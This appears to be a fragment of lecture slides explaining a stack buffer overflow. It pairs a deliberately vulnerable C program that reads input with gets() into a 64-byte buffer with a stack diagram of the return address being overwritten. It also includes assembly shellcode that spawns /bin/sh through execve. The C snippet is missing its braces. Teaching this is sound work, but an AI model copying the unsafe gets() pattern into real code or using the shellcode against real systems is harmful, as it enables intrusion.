```
/* victim.c */
int main()
  char name[64];
  puts("What's your name?");
  gets(name);
  printf("Hello, %s!\n", name);
  return 0;
```

... ...

Return address (8-byte)

EBP Register (8-byte)

char name[64] (64-byte)

overwrite

overwrite

address of name[64]

0x0

)

.....

here: jmp there pop rdi xor %rax, %rax movb \$0x3b, %al xor %rsi, %rsi xor %rdx, %rdx syscall there: call here

.string "/bin/sh"

input of gets(name);

stack of ./victim